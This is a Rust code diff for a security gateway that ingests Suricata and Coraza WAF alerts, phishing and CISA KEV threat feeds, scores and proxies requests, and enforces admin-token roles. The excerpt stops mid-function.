+    /// DNSBL / threat-indicator rows written so gateway scoring enforces engine hits.
+    enforcement_hints: usize,
+}
+
+async fn import_suricata_eve(
+    State(state): State,
+    headers: HeaderMap,
+    body: Bytes,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    let body_text = match std::str::from_utf8(&body) {
+        Ok(text) => text,
+        Err(_) => {
+            return error(
+                StatusCode::BAD_REQUEST,
+                "Suricata EVE body must be UTF-8 text",
+            );
+        }
+    };
+    let parsed = match suricata_eve::parse_suricata_eve_body(body_text) {
+        Ok(parsed) => parsed,
+        Err(message) => return error(StatusCode::BAD_REQUEST, message),
+    };
+    if parsed.alerts.is_empty() {
+        return error(
+            StatusCode::BAD_REQUEST,
+            "no Suricata alert events found (event_type=alert required)",
+        );
+    }
+
+    let actor = audit_actor(&state, &headers);
+    let event_limit = state.event_limit;
+    let accepted = parsed.alerts.len();
+    let skipped_non_alerts = parsed.skipped_non_alerts;
+    match state
+        .mutate_and_persist(|data| {
+            let mut created_ids = Vec::with_capacity(accepted);
+            let mut enforcement_hints = 0usize;
+            let ingest_now = now_unix();
+            for alert in &parsed.alerts {
+                let id = data.next_event_id;
+                data.next_event_id += 1;
+                let event = SecurityEvent {
+                    id,
+                    timestamp_unix: alert.timestamp_unix.unwrap_or(ingest_now),
+                    client_ip: alert.client_ip,
+                    route_id: None,
+                    action: alert.action.clone(),
+                    reason: alert.reason.clone(),
+                    score: alert.score,
+                    path: alert.path.clone(),
+                };
+                println!("{}", security_event_log_line(&event));
+                data.events.push(event);
+                created_ids.push(id);
+                enforcement_hints =
+                    enforcement_hints.saturating_add(apply_engine_enforcement_hints(
+                        data,
+                        "engine:suricata",
+                        &alert.action,
+                        alert.client_ip,
+                        &alert.path,
+                        &alert.reason,
+                        alert.score,
+                    ));
+            }
+            enforce_event_limit(data, event_limit);
+            // Only report IDs still retained after the event ring buffer trim.
+            let retained: HashSet = data.events.iter().map(|e| e.id).collect();
+            let event_ids: Vec = created_ids
+                .into_iter()
+                .filter(|id| retained.contains(id))
+                .collect();
+            record_successful_audit_log(
+                data,
+                actor,
+                "import_suricata_eve",
+                "ids_suricata",
+                format!("{accepted}_alerts"),
+            );
+            SuricataEveImportResult {
+                accepted_alerts: accepted,
+                skipped_non_alerts,
+                event_ids,
+                enforcement_hints,
+            }
+        })
+        .await
+    {
+        Ok(result) => (StatusCode::CREATED, Json(result)).into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+/// Ingest Coraza / ModSecurity-compatible WAF audit JSON (object, array, or NDJSON).
+/// Maps interrupted transactions and CRS rule messages into security events.
+#[derive(Debug, Serialize)]
+struct CorazaAuditImportResult {
+    accepted_hits: usize,
+    skipped: usize,
+    event_ids: Vec,
+    /// DNSBL / threat-indicator rows written so gateway scoring enforces engine hits.
+    enforcement_hints: usize,
+}
+
+async fn import_coraza_audit(
+    State(state): State,
+    headers: HeaderMap,
+    body: Bytes,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    let body_text = match std::str::from_utf8(&body) {
+        Ok(text) => text,
+        Err(_) => {
+            return error(
+                StatusCode::BAD_REQUEST,
+                "Coraza audit body must be UTF-8 text",
+            );
+        }
+    };
+    let parsed = match coraza_audit::parse_coraza_audit_body(body_text) {
+        Ok(parsed) => parsed,
+        Err(message) => return error(StatusCode::BAD_REQUEST, message),
+    };
+    if parsed.hits.is_empty() {
+        return error(
+            StatusCode::BAD_REQUEST,
+            "no Coraza WAF hits found (need messages[] or interrupted transaction)",
+        );
+    }
+
+    let actor = audit_actor(&state, &headers);
+    let event_limit = state.event_limit;
+    let accepted = parsed.hits.len();
+    let skipped = parsed.skipped;
+    match state
+        .mutate_and_persist(|data| {
+            let mut created_ids = Vec::with_capacity(accepted);
+            let mut enforcement_hints = 0usize;
+            let ingest_now = now_unix();
+            for hit in &parsed.hits {
+                let id = data.next_event_id;
+                data.next_event_id += 1;
+                let event = SecurityEvent {
+                    id,
+                    timestamp_unix: hit.timestamp_unix.unwrap_or(ingest_now),
+                    client_ip: hit.client_ip,
+                    route_id: None,
+                    action: hit.action.clone(),
+                    reason: hit.reason.clone(),
+                    score: hit.score,
+                    path: hit.path.clone(),
+                };
+                println!("{}", security_event_log_line(&event));
+                data.events.push(event);
+                created_ids.push(id);
+                enforcement_hints =
+                    enforcement_hints.saturating_add(apply_engine_enforcement_hints(
+                        data,
+                        "engine:coraza",
+                        &hit.action,
+                        hit.client_ip,
+                        &hit.path,
+                        &hit.reason,
+                        hit.score,
+                    ));
+            }
+            enforce_event_limit(data, event_limit);
+            let retained: HashSet = data.events.iter().map(|e| e.id).collect();
+            let event_ids: Vec = created_ids
+                .into_iter()
+                .filter(|id| retained.contains(id))
+                .collect();
+            record_successful_audit_log(
+                data,
+                actor,
+                "import_coraza_audit",
+                "waf_coraza",
+                format!("{accepted}_hits"),
+            );
+            CorazaAuditImportResult {
+                accepted_hits: accepted,
+                skipped,
+                event_ids,
+                enforcement_hints,
+            }
+        })
+        .await
+    {
+        Ok(result) => (StatusCode::CREATED, Json(result)).into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+/// Feed proven-engine hits into gateway scoring: DNSBL for client IPs and
+/// threat indicators for IP/path. Only block-grade hits become enforcement hints.
+fn apply_engine_enforcement_hints(
+    data: &mut AppData,
+    source: &str,
+    action: &str,
+    client_ip: Option,
+    path: &str,
+    reason: &str,
+    score: u16,
+) -> usize {
+    if action != "block" && score < BLOCK_SCORE {
+        return 0;
+    }
+    const TTL_SECONDS: u64 = 3_600;
+    let mut written = 0usize;
+    let severity = if score >= 80 {
+        Severity::High
+    } else {
+        Severity::Medium
+    };
+    let reason = {
+        let trimmed = reason.trim();
+        if trimmed.len() > 200 {
+            format!("{}…", &trimmed[..199])
+        } else if trimmed.is_empty() {
+            format!("{source} engine hit")
+        } else {
+            trimmed.to_string()
+        }
+    };
+
+    if let Some(ip) = client_ip {
+        let dnsbl = DnsblEntry {
+            address: ip,
+            code: "127.0.0.2".to_string(),
+            reason: reason.clone(),
+            source: source.to_string(),
+            ttl_seconds: TTL_SECONDS,
+            prefix_len: None,
+        };
+        if validate_dnsbl(&dnsbl).is_ok() {
+            upsert_dnsbl(&mut data.dnsbl, dnsbl);
+            written += 1;
+        }
+        let ip_indicator = ThreatIndicator {
+            value: ip.to_string(),
+            indicator_type: "client_ip".to_string(),
+            severity: severity.clone(),
+            source: source.to_string(),
+            ttl_seconds: TTL_SECONDS,
+        };
+        if validate_threat(&ip_indicator).is_ok() {
+            upsert_threat(&mut data.threats, ip_indicator);
+            written += 1;
+        }
+    }
+
+    let path_only = path.split('?').next().unwrap_or(path).trim();
+    if path_only.starts_with('/') && path_only.len() > 1 {
+        let path_indicator = ThreatIndicator {
+            value: path_only.to_string(),
+            indicator_type: "path".to_string(),
+            severity,
+            source: source.to_string(),
+            ttl_seconds: TTL_SECONDS,
+        };
+        if validate_threat(&path_indicator).is_ok() {
+            upsert_threat(&mut data.threats, path_indicator);
+            written += 1;
+        }
+    }
+    written
+}
+
+async fn import_phishing_database_feed(
+    State(state): State,
+    headers: HeaderMap,
+    Json(request): Json,
+) -> Response {
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    if let Err(message) = validate_phishing_database_import_request(&request) {
+        return error(StatusCode::BAD_REQUEST, message);
+    }
+
+    let (domains_text, ips_text) = match (request.import_domains, request.import_ips) {
+        (true, true) => {
+            match tokio::try_join!(
+                fetch_text_feed(&state, &request.domain_url),
+                fetch_text_feed(&state, &request.ip_url)
+            ) {
+                Ok((domains, ips)) => (domains, ips),
+                Err(message) => return error(StatusCode::BAD_GATEWAY, message),
+            }
+        }
+        (true, false) => match fetch_text_feed(&state, &request.domain_url).await {
+            Ok(domains) => (domains, String::new()),
+            Err(message) => return error(StatusCode::BAD_GATEWAY, message),
+        },
+        (false, true) => match fetch_text_feed(&state, &request.ip_url).await {
+            Ok(ips) => (String::new(), ips),
+            Err(message) => return error(StatusCode::BAD_GATEWAY, message),
+        },
+        (false, false) => (String::new(), String::new()),
+    };
+
+    let source_tag = request.feed_id.clone();
+    let threats = if request.import_domains {
+        parse_phishing_domains(&domains_text, request.domain_limit)
+            .into_iter()
+            .map(|domain| ThreatIndicator {
+                value: domain,
+                indicator_type: "phishing_domain".to_string(),
+                severity: request.severity.clone(),
+                source: source_tag.clone(),
+                ttl_seconds: request.ttl_seconds,
+            })
+            .collect()
+    } else {
+        Vec::new()
+    };
+    let dnsbl = if request.import_ips {
+        parse_phishing_ips(&ips_text, request.ip_limit)
+            .into_iter()
+            .map(|address| DnsblEntry {
+                address,
+                code: PHISHING_DATABASE_DNSBL_CODE.to_string(),
+                reason: PHISHING_DATABASE_DNSBL_REASON.to_string(),
+                source: source_tag.clone(),
+                ttl_seconds: request.ttl_seconds,
+                prefix_len: None,
+            })
+            .collect()
+    } else {
+        Vec::new()
+    };
+    let feed = ThreatFeedImport {
+        feed_id: request.feed_id,
+        source: request.source,
+        ttl_seconds: request.ttl_seconds,
+        threats,
+        dnsbl,
+    };
+    if let Err(message) = validate_threat_feed_import(&feed) {
+        return error(
+            StatusCode::BAD_GATEWAY,
+            format!("invalid fetched feed data: {message}"),
+        );
+    }
+
+    let actor = audit_actor(&state, &headers);
+    match apply_threat_feed_import(&state, actor, "import_phishing_database_feed", feed).await {
+        Ok(result) => (StatusCode::CREATED, Json(result)).into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+fn validate_phishing_database_import_request(
+    request: &PhishingDatabaseImportRequest,
+) -> Result<(), &'static str> {
+    if request.feed_id.trim().is_empty() {
+        return Err("feed_id is required");
+    }
+    if request.source.trim().is_empty() {
+        return Err("source is required");
+    }
+    if request.ttl_seconds == 0 {
+        return Err("ttl_seconds must be greater than zero");
+    }
+    if !request.import_domains && !request.import_ips {
+        return Err("at least one of import_domains or import_ips must be true");
+    }
+    if request.import_domains {
+        if request.domain_limit == 0 {
+            return Err("domain_limit must be greater than zero when import_domains is enabled");
+        }
+        validate_http_url(&request.domain_url, request.allow_non_default_hosts)?;
+    }
+    if request.import_ips {
+        if request.ip_limit == 0 {
+            return Err("ip_limit must be greater than zero when import_ips is enabled");
+        }
+        validate_http_url(&request.ip_url, request.allow_non_default_hosts)?;
+    }
+    Ok(())
+}
+
+fn validate_kev_import_request(request: &KevImportRequest) -> Result<(), &'static str> {
+    if request.feed_id.trim().is_empty() {
+        return Err("feed_id is required");
+    }
+    if request.source.trim().is_empty() {
+        return Err("source is required");
+    }
+    if request.ttl_seconds == 0 {
+        return Err("ttl_seconds must be greater than zero");
+    }
+    Ok(())
+}
+
+async fn import_kev_feed(
+    State(state): State,
+    headers: HeaderMap,
+    Json(request): Json,
+) -> Response {
+    if !has_write_admin_credential(&state) {
+        return error(
+            StatusCode::SERVICE_UNAVAILABLE,
+            "KEV import requires a configured write-capable admin credential",
+        );
+    }
+    if let Some(denied) = reject_management_write(&state, &headers) {
+        return denied;
+    }
+    if let Err(message) = validate_kev_import_request(&request) {
+        return error(StatusCode::BAD_REQUEST, message);
+    }
+
+    // Always fetches the deployment-configured CISA KEV URL (default: the
+    // real CISA feed; overridable only via server-side config, never by the
+    // request body) -- there is no request-controlled URL construction here
+    // at all, unlike the operator-URL adapters (phishing-database, TAXII).
+    // Uses its own fetch_kev_catalog rather than the shared fetch_text_feed
+    // so this config-only path never shares a function with (and can't be
+    // conflated by static analysis with) phishing-database's request-URL fetch.
+    let body_text = match fetch_kev_catalog(&state).await {
+        Ok(text) => text,
+        Err(message) => return error(StatusCode::BAD_GATEWAY, message),
+    };
+    let material = match kev_import::parse_kev_document(
+        &body_text,
+        request.source.trim(),
+        request.ttl_seconds,
+    ) {
+        Ok(material) => material,
+        Err(message) => {
+            return error(
+                StatusCode::BAD_GATEWAY,
+                format!("invalid fetched KEV catalog: {message}"),
+            );
+        }
+    };
+
+    let actor = audit_actor(&state, &headers);
+    let feed = ThreatFeedImport {
+        feed_id: request.feed_id.trim().to_string(),
+        source: request.source.trim().to_string(),
+        ttl_seconds: request.ttl_seconds,
+        threats: material.threats,
+        dnsbl: material.dnsbl,
+    };
+    if let Err(message) = validate_threat_feed_import(&feed) {
+        return error(
+            StatusCode::BAD_GATEWAY,
+            format!("invalid fetched feed data: {message}"),
+        );
+    }
+    let skipped_entries = material.skipped_entries;
+    match apply_threat_feed_import(&state, actor, "import_kev_feed", feed).await {
+        Ok(result) => (
+            StatusCode::CREATED,
+            Json(KevImportResult {
+                feed_id: result.feed_id,
+                upserted_threats: result.upserted_threats,
+                upserted_dnsbl: result.upserted_dnsbl,
+                skipped_entries,
+                last_updated_unix: result.last_updated_unix,
+            }),
+        )
+            .into_response(),
+        Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message),
+    }
+}
+
+fn validate_http_url(value: &str, allow_non_default_hosts: bool) -> Result<(), &'static str> {
+    let parsed = reqwest::Url::parse(value).map_err(|_| "feed URL must be an absolute URL")?;
+    let host = parsed.host_str().ok_or("feed URL host is required")?;
+    match parsed.scheme() {
+        "https" => {}
+        "http" if is_loopback_host(host) => {}
+        "http" => return Err("feed URL scheme must be https unless host is loopback"),
+        _ => return Err("feed URL scheme must be http or https"),
+    }
+    if !allow_non_default_hosts
+        && !PHISHING_DATABASE_ALLOWED_HOSTS
+            .iter()
+            .any(|allowed| host.eq_ignore_ascii_case(allowed))
+    {
+        return Err("feed URL host is not allowed");
+    }
+    Ok(())
+}
+
+// Deliberately separate from `fetch_text_feed`: that helper's `url` argument is
+// fed by operator-supplied request URLs for phishing-database imports. KEV does
+// not support a runtime URL override, so this fetch path stays structurally
+// independent and fixed to the built-in CISA host; loopback is allowed only for
+// tests that inject a local mock via `with_kev_catalog_url`.
+fn validate_kev_catalog_url(url: &str) -> Result<(), String> {
+    validate_http_url(url, /* allow_non_default_hosts */ true)
+        .map_err(|message| format!("invalid KEV catalog URL {url}: {message}"))?;
+    let parsed = reqwest::Url::parse(url).map_err(|_| format!("invalid KEV catalog URL {url}"))?;
+    let host = parsed
+        .host_str()
+        .ok_or_else(|| format!("invalid KEV catalog URL {url}: host is required"))?;
+    if !KEV_ALLOWED_HOSTS
+        .iter()
+        .any(|allowed| host.eq_ignore_ascii_case(allowed))
+        && !is_loopback_host(host)
+    {
+        return Err(format!(
+            "KEV catalog URL {url} host is not on the CISA KEV allowlist"
+        ));
+    }
+    Ok(())
+}
+
+async fn fetch_kev_catalog(state: &AppState) -> Result {
+    use futures_util::StreamExt;
+
+    let url = state.kev_catalog_url();
+    validate_kev_catalog_url(url)?;
+    let response = state
+        .feed_http
+        .get(url)
+        .timeout(std::time::Duration::from_secs(
+            PHISHING_DATABASE_FETCH_TIMEOUT_SECS,
+        ))
+        .send()
+        .await
+        .map_err(|error| format!("failed to fetch KEV catalog {url}: {error}"))?;
+    let status = response.status();
+    if !status.is_success() {
+        return Err(format!("KEV catalog {url} returned HTTP {status}"));
+    }
+    if let Some(len) = response.content_length()
+        && len as usize > PHISHING_DATABASE_MAX_BODY_BYTES
+    {
+        return Err(format!(
+            "KEV catalog {url} body too large: {len} bytes (limit: {PHISHING_DATABASE_MAX_BODY_BYTES})"
+        ));
+    }
+    let mut bytes = Vec::new();
+    let mut stream = response.bytes_stream();
+    while let Some(chunk) = stream.next().await {
+        let chunk = chunk
+            .map_err(|error| format!("failed to read KEV catalog body from {url}: {error}"))?;
+        if bytes.len().saturating_add(chunk.len()) > PHISHING_DATABASE_MAX_BODY_BYTES {
+            return Err(format!(
+                "KEV catalog {url} body too large: limit {PHISHING_DATABASE_MAX_BODY_BYTES} bytes exceeded while streaming"
+            ));
+        }
+        bytes.extend_from_slice(&chunk);
+    }
+    String::from_utf8(bytes)
+        .map_err(|error| format!("KEV catalog {url} is not valid UTF-8 text: {error}"))
+}
+
+fn is_loopback_host(host: &str) -> bool {
+    host.eq_ignore_ascii_case("localhost")
+        || host
+            .parse::()
+            .map(|ip| ip.is_loopback())
+            .unwrap_or(false)
+}
+
+async fn support_bundle(State(state): State) -> Json {
+    let data = state.inner.read().await;
+    let generated_at_unix = now_unix();
+    Json(SupportBundle {
+        generated_at_unix,
+        health: state.health_status(),
+        kpis: kpi_snapshot_at(&data, generated_at_unix),
+        commercial: data.commercial.clone(),
+        readiness: commercial_readiness_snapshot_at(&data, generated_at_unix),
+        evidence_manifest: buyer_evidence_manifest_at(&data, generated_at_unix),
+        threat_feed_freshness: threat_feed_freshness_snapshot(
+            &data.threat_feeds,
+            generated_at_unix,
+        ),
+        route_count: data.routes.len(),
+        threat_indicator_count: data.threats.len(),
+        dnsbl_entry_count: data.dnsbl.len(),
+        threat_feed_count: data.threat_feeds.len(),
+        event_count: data.events.len(),
+        audit_log_count: data.audit_logs.len(),
+    })
+}
+
+async fn events_ndjson(State(state): State) -> Response {
+    let data = state.inner.read().await;
+    events_ndjson_response(export_events_ndjson(&data.events))
+}
+
+fn events_ndjson_response(export: Result) -> Response {
+    match export {
+        Ok(body) => (
+            StatusCode::OK,
+            [("content-type", "application/x-ndjson; charset=utf-8")],
+            body,
+        )
+            .into_response(),
+        Err(err) => error(
+            StatusCode::INTERNAL_SERVER_ERROR,
+            format!("failed to serialize security events: {err}"),
+        ),
+    }
+}
+
+async fn dnsbl_zone(State(state): State) -> impl IntoResponse {
+    let data = state.inner.read().await;
+    (
+        StatusCode::OK,
+        [("content-type", "text/plain; charset=utf-8")],
+        export_dnsbl_zone(&state.dnsbl_origin, &data.dnsbl),
+    )
+}
+
+async fn gateway(
+    State(state): State,
+    method: Method,
+    uri: Uri,
+    headers: HeaderMap,
+    body: Bytes,
+) -> Response {
+    let gateway_path = uri
+        .path()
+        .strip_prefix("/gateway")
+        .filter(|path| !path.is_empty())
+        .unwrap_or("/");
+
+    let (route, threats, dnsbl) = {
+        let data = state.inner.read().await;
+        let Some(route) = select_route(&data.routes, gateway_path) else {
+            return error(
+                StatusCode::NOT_FOUND,
+                "no gateway route matched the request path",
+            );
+        };
+        (route.clone(), data.threats.clone(), data.dnsbl.clone())
+    };
+
+    let client_ip = client_ip_from_headers(&headers);
+
+    // Rate limiting runs before scoring/proxying so floods are shed cheaply.
+    if !state.allow_request(client_ip).await {
+        record_event(
+            &state,
+            client_ip,
+            Some(route.id.clone()),
+            "rate_limited",
+            format!(
+                "rate limit exceeded ({} requests per {}s)",
+                state.rate_limit, state.rate_limit_window
+            ),
+            0,
+            gateway_path,
+        )
+        .await;
+        return (
+            StatusCode::TOO_MANY_REQUESTS,
+            Json(serde_json::json!({
+                "action": "rate_limited",
+                "route_id": route.id,
+                "limit": state.rate_limit,
+                "window_seconds": state.rate_limit_window
+            })),
+        )
+            .into_response();
+    }
+
+    let body_text = String::from_utf8_lossy(&body);
+    let scored = score_request(
+        gateway_path,
+        uri.query(),
+        &body_text,
+        client_ip,
+        &threats,
+        &dnsbl,
+    );
+
+    if route.mode == EnforcementMode::Block
+        && scored.score >= route.block_threshold.unwrap_or(BLOCK_SCORE)
+    {
+        record_event(
+            &state,
+            client_ip,
+            Some(route.id.clone()),
+            "blocked",
+            scored.reason.clone(),
+            scored.score,
+            gateway_path,
+        )
+        .await;
+        return (
+            StatusCode::FORBIDDEN,
+            Json(serde_json::json!({
+                "action": "blocked",
+                "route_id": route.id,
+                "score": scored.score,
+                "reason": scored.reason
+            })),
+        )
+            .into_response();
+    }
+
+    let engine_uri = match uri.query() {
+        Some(query) if !query.is_empty() => format!("{gateway_path}?{query}"),
+        _ => gateway_path.to_string(),
+    };
+    let mut proven_engine_recorded = false;
+    match proven_engine::evaluate_sidecar(
+        &state.waf_http,
+        &state.proven_engine,
+        proven_engine::SidecarEvaluation {
+            method: method.as_str(),
+            uri: &engine_uri,
+            body: &body_text,
+            client_ip,
+            headers: &headers,
+            policy_id: &route.id,
+        },
+    )
+    .await
+    {
+        proven_engine::ProvenEngineOutcome::Clean => {}
+        proven_engine::ProvenEngineOutcome::Hit(hit) => {
+            let disruptive = hit.action == "block";
+            let action = if route.mode == EnforcementMode::Block && disruptive {
+                "blocked"
+            } else {
+                "monitored"
+            };
+            record_event(
+                &state,
+                client_ip,
+                Some(route.id.clone()),
+                action,
+                hit.reason.clone(),
+                hit.score,
+                gateway_path,
+            )
+            .await;
+            proven_engine_recorded = true;
+            if action == "blocked" {
+                return (
+                    StatusCode::FORBIDDEN,
+                    Json(serde_json::json!({
+                        "action": "blocked",
+                        "route_id": route.id,
+                        "score": hit.score,
+                        "reason": hit.reason,
+                        "engine": "coraza"
+                    })),
+                )
+                    .into_response();
+            }
+        }
+        proven_engine::ProvenEngineOutcome::Unavailable { reason } => {
+            record_event(
+                &state,
+                client_ip,
+                Some(route.id.clone()),
+                "engine_unavailable",
+                reason.clone(),
+                0,
+                gateway_path,
+            )
+            .await;
+            proven_engine_recorded = true;
+            if route.mode == EnforcementMode::Block {
+                return (
+                    StatusCode::SERVICE_UNAVAILABLE,
+                    Json(serde_json::json!({
+                        "action": "engine_unavailable",
+                        "route_id": route.id,
+                        "reason": reason,
+                        "engine": "coraza"
+                    })),
+                )
+                    .into_response();
+            }
+        }
+    }
+
+    if !proven_engine_recorded {
+        record_event(
+            &state,
+            client_ip,
+            Some(route.id.clone()),
+            "monitored",
+            scored.reason.clone(),
+            scored.score,
+            gateway_path,
+        )
+        .await;
+    }
+
+    if route.upstream.starts_with("mock://") {
+        return (
+            StatusCode::OK,
+            Json(serde_json::json!({
+                "action": "monitored",
+                "route_id": route.id,
+                "method": method.as_str(),
+                "path": gateway_path,
+                "score": scored.score,
+                "reason": scored.reason,
+                "upstream": route.upstream
+            })),
+        )
+            .into_response();
+    }
+
+    match proxy_request(&state, &route, &method, gateway_path, uri.query(), body).await {
+        Ok(response) => response,
+        Err(message) => error(StatusCode::BAD_GATEWAY, message),
+    }
+}
+
+fn client_ip_from_headers(headers: &HeaderMap) -> Option {
+    headers
+        .get("x-forwarded-for")
+        .and_then(|value| value.to_str().ok())
+        .and_then(|value| value.split(',').next())
+        .map(str::trim)
+        .or_else(|| {
+            headers
+                .get("x-real-ip")
+                .and_then(|value| value.to_str().ok())
+        })
+        .and_then(|value| value.parse().ok())
+}
+
+async fn proxy_request(
+    state: &AppState,
+    route: &RouteConfig,
+    method: &Method,
+    path: &str,
+    query: Option<&str>,
+    body: Bytes,
+) -> Result {
+    let target = upstream_target(route, path, query)?;
+    let method = reqwest::Method::from_bytes(method.as_str().as_bytes())
+        .expect("axum HTTP methods are valid reqwest HTTP methods");
+    let response = state
+        .http
+        .request(method, target)
+        .body(body)
+        .send()
+        .await
+        .map_err(|error| format!("upstream request failed: {error}"))?;
+    let status = StatusCode::from_u16(response.status().as_u16())
+        .expect("reqwest upstream status codes are valid axum status codes");
+    let bytes = response
+        .bytes()
+        .await
+        .map_err(|error| format!("upstream body read failed: {error}"))?;
+    Ok((status, bytes).into_response())
+}
+
+pub fn upstream_target(
+    route: &RouteConfig,
+    path: &str,
+    query: Option<&str>,
+) -> Result {
+    if !route.upstream.starts_with("http://") && !route.upstream.starts_with("https://") {
+        return Err("upstream must use http:// or https:// for proxy mode".to_string());
+    }
+    let suffix = path.strip_prefix(&route.path_prefix).unwrap_or(path);
+    let suffix = if suffix.starts_with('/') {
+        suffix.to_string()
+    } else if suffix.is_empty() {
+        "/".to_string()
+    } else {
+        format!("/{suffix}")
+    };
+    let mut target = format!("{}{}", route.upstream.trim_end_matches('/'), suffix);
+    if let Some(query) = query.filter(|value| !value.is_empty()) {
+        target.push('?');
+        target.push_str(query);
+    }
+    Ok(target)
+}
+
+async fn record_event(
+    state: &AppState,
+    client_ip: Option,
+    route_id: Option,
+    action: &str,
+    reason: String,
+    score: u16,
+    path: &str,
+) {
+    let action = action.to_string();
+    let path = path.to_string();
+    let event_limit = state.event_limit;
+    if let Err(error) = state
+        .mutate_and_persist(|data| {
+            let id = data.next_event_id;
+            data.next_event_id += 1;
+            let event = SecurityEvent {
+                id,
+                timestamp_unix: now_unix(),
+                client_ip,
+                route_id,
+                action,
+                reason,
+                score,
+                path,
+            };
+            // Structured stdout log line for SIEM / log-collector ingestion.
+            // ponytail: one println per recorded event — fine at gateway volumes;
+            // add async batching if event throughput ever becomes a bottleneck.
+            println!("{}", security_event_log_line(&event));
+            data.events.push(event);
+            enforce_event_limit(data, event_limit);
+        })
+        .await
+    {
+        eprintln!("failed to persist security event: {error}");
+    }
+}
+
+/// Serializes a [`SecurityEvent`] as a single-line JSON record for structured
+/// stdout logging (SIEM / log-collector ingestion).
+fn security_event_log_line(event: &SecurityEvent) -> String {
+    serde_json::to_string(event).expect("SecurityEvent is JSON-serializable")
+}
+
+/// RBAC principal bound to an admin token.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct AdminPrincipal {
+    pub actor: String,
+    /// When false, the token may authenticate for read-only operator surfaces
+    /// (e.g. audit logs) but cannot perform management writes.
+    pub can_write: bool,
+}
+
+fn presented_admin_token(headers: &HeaderMap) -> Option<&str> {
+    headers
+        .get("x-admin-token")
+        .and_then(|value| value.to_str().ok())
+}
+
+/// Startup should only trust secrets that can be presented back through the
+/// `X-Admin-Token` header without wire-format rejection.
+fn admin_secret_supports_header_auth(token: &str) -> bool {
+    !token.trim().is_empty() && HeaderValue::from_str(token).is_ok()
+}
+
+/// Scan every configured RBAC secret with constant-time comparison so a miss
+/// does not reveal which slot matched.
+fn matching_rbac_principal<'a>(state: &'a AppState, presented: &str) -> Option<&'a AdminPrincipal> {
+    let mut found = None;
+    for (token, principal) in &state.admin_tokens {
+        if credentials::constant_time_eq(token.as_bytes(), presented.as_bytes()) {
+            found = Some(principal);
+        }
+    }
+    found
+}
+
+/// True when the request presents a valid admin credential (write or readonly).
+/// When no admin credentials are configured, loopback development remains open.
+fn admin_authenticated(state: &AppState, headers: &HeaderMap) -> bool {
+    if !state.admin_tokens.is_empty() {
+        return presented_admin_token(headers)
+            .is_some_and(|token| matching_rbac_principal(state, token).is_some());
+    }
+    let Some(expected) = state.admin_token.as_deref() else {
+        return true;
+    };
+    presented_admin_token(headers)
+        .is_some_and(|actual| credentials::constant_time_eq(expected.as_bytes(), actual.as_bytes()))
+}
+
+/// True when the request may perform management **writes**.
+/// Readonly RBAC tokens authenticate but cannot write.
+fn admin_authorized(state: &AppState, headers: &HeaderMap) -> bool {
+    if !state.admin_tokens.is_empty() {
+        return presented_admin_token(headers).is_some_and(|token| {
+            matching_rbac_principal(state, token).is_some_and(|principal| principal.can_write)
+        });
+    }
+    let Some(expected) = state.admin_token.as_deref() else {
+        return true;
+    };
+    presented_admin_token(headers)
+        .is_some_and(|actual| credentials::constant_time_eq(expected.as_bytes(), actual.as_bytes()))
+}
+
+/// `401` when the caller is not authenticated; `403` when authenticated but not
+/// permitted to write. The body stays stable so the expected role is not leaked.
+fn reject_management_write(state: &AppState, headers: &HeaderMap) -> Option {
+    if admin_authorized(state, headers) {
+        return None;
+    }
+    let (status, message) = if admin_authenticated(state, headers) {
+        (
+            StatusCode::FORBIDDEN,
+            "X-Admin-Token is not authorized for management writes",
+        )
+    } else {
+        (StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token")
+    };
+    Some(error(status, message))
+}
+
+fn has_write_admin_credential(state: &AppState) -> bool {
+    if !state.admin_tokens.is_empty() {
+        return state.admin_tokens.iter().any(|(token, principal)| {
+            principal.can_write && admin_secret_supports_header_auth(token)
+        });
+    }
+    state
+        .admin_token
+        .as_deref()
+        .is_some_and(admin_secret_supports_header_auth)
+}
+
+fn audit_actor(state: &AppState, headers: &HeaderMap) -> String {
+    // Prefer the actor bound to the presented RBAC token, then an explicit
+    // actor header, then a generic label. The token itself is never logged.
+    if let Some(actor) = state.actor_for_token(headers) {
+        return actor;
+    }
+    headers
+        .get("x-admin-actor")
+        .and_then(|value| value.to_str().ok())
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+        .unwrap_or("admin-token")
+        .to_string()
+}
+
+/// Parses an `ADMIN_TOKENS` string into a token -> [`AdminPrincipal`] map.
+///
+/// Format is comma-separated items:
+/// - `token` → actor `admin`, write enabled
+/// - `token:actor` → named actor, write enabled
+/// - `token:actor:readonly` (or `:read`) → named actor, write **disabled**
+/// - `token:actor:admin` / `:write` / `:writer` → named actor, write enabled
+///
+/// Blank items and blank tokens are ignored. Unknown role labels default to
+/// write-enabled so legacy `token:actor` configs keep full access.
+pub fn parse_admin_tokens(raw: &str) -> HashMap {
+    raw.split(',')
+        .filter_map(|item| {
+            let item = item.trim();
+            if item.is_empty() {
+                return None;
+            }
+            let mut parts = item.splitn(3, ':').map(str::trim);
+            let token = parts.next().unwrap_or("");
+            if token.is_empty() {
+                return None;
+            }
+            let actor_raw = parts.next().unwrap_or("");
+            let role_raw = parts.next().unwrap_or("");
+            let actor = if actor_raw.is_empty() {
+                "admin".to_string()
+            } else {
+                actor_raw.to_string()
+            };
+            if actor.is_empty() {
+                return None;
+            }
+            let can_write = match role_raw.to_ascii_lowercase().as_str() {
+                "" | "admin" | "write" | "writer" | "operator" => true,
+                "readonly" | "read" | "reader" | "ro" => false,
+                // Unknown role: fail open to write so mis-typed labels do not
+                // silently strand operators without recovery — document known roles.
+                _ => true,
+            };
+            Some((token.to_string(), AdminPrincipal { actor, can_write }))
+        })
+        .collect()
+}
+
+/// Startup parser for `ADMIN_TOKENS`. Rejects blank entries, blank tokens,
+/// duplicate secrets, and unknown roles so ambiguous auth cannot become ready.
+pub fn parse_admin_tokens_strict(raw: &str) -> Result, String> {
+    let mut map = HashMap::new();
+    for item in raw.split(',') {
+        let item = item.trim();
+        if item.is_empty() {
+            return Err(
